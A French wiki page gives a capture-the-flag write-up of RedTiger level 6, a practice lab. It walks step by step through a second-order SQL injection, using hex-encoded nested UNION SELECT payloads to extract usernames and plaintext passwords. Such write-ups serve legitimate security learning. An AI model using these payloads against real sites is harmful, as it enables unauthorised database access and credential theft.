Outils d'utilisateurs

Outils du Site


redtiger_level6

Redtiger level 6

Adresse de l’épreuve : http://redtiger.labs.overthewire.org/level6.php

Dans cette épreuve, il fallait comprendre que deux requêtes étaient imbriquées l'une dans l'autre. Le résultat de la première était utilisé pour la deuxième. Un indice est donné; nous devons récupérer le premier utilisateur de la table level6_users avec un statut égale à 1.

Commençons par trouver le nombre de colonnes en utilisant le paramètre user:

http://redtiger.labs.overthewire.org/level6.php?user=1 ORDER BY 6#

http://redtiger.labs.overthewire.org/level6.php?user=1 ORDER BY 5#

Nous avons donc 5 colonnes dans notre requête.

http://redtiger.labs.overthewire.org/level6.php?user=-1 union select 1,2,3,4,5 from level6_users#

Les colonnes vulnérables ne s'affichent pas du fait que deux requêtes sont imbriquées, nous utiliserons donc un deuxième payload à l'intérieur du premier. Afin que notre payload soit interprété nous allons l'encoder en hexadécimal.

Notre objectif est de faire :

http://redtiger.labs.overthewire.org/level6.php?user=-1 union select 'union all select 1,2,3,4,5 from level6_users#,2,3,4,5 from level6_users#
echo -n "'union all select 1,2,3,4,5 from level6_users#" |xxd -ps
27756e696f6e20616c6c2073656c65637420312c322c332c342c352066726f6d206c6576656c365f757365727323

On ajoute 0x au début de notre chaîne hexadécimal pour que MySQL l’interprète comme tel.

http://redtiger.labs.overthewire.org/level6.php?user=-1 union select 0x27756e696f6e20616c6c2073656c65637420312c322c332c342c352066726f6d206c6576656c365f757365727323,2,3,4,5 from level6_users#

Nous n'avons toujours rien à l'affichage, il se peut que cette colonne n'affiche rien, nous mettons donc notre payload dans les autres colonnes (2,3,4,5).

La colonne 2 nous affiche quelque chose:

http://redtiger.labs.overthewire.org/level6.php?user=-1 union select 1,0x27756e696f6e20616c6c2073656c65637420312c322c332c342c352066726f6d206c6576656c365f757365727323,3,4,5 from level6_users#

Encodons donc un nouveau payload en hexadécimal:

echo -n "'union all select 1,username,3,password,5 from level6_users#" | xxd -ps
27756e696f6e20616c6c2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f757365727323

Donc :

http://redtiger.labs.overthewire.org/level6.php?user=-1 union select 1,0x27756e696f6e20616c6c2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f757365727323,3,4,5 from level6_users#

Notre nouveau payload nous affiche le nom d'utilisateur et le mot de passe en clair du premier utilisateur de la base de données. Cet utilisateur ne nous permet pas de valider le challenge, En effet, il nous faut trouver le premier utilisateur ayant son statut égale à 1.

Encodons un dernier payload :

echo -n "'union all select 1,username,3,password,5 from level6_users where status=1#" | xxd -ps 27756e696f6e20616c6c2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123
http://redtiger.labs.overthewire.org/level6.php?user=-1 union select 1,0x27756e696f6e20616c6c2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5 from level6_users#

La page nous renvoie le bon utilisateur:

redtiger_level6.txt · Dernière modification: 2017/04/09 15:33 (modification externe)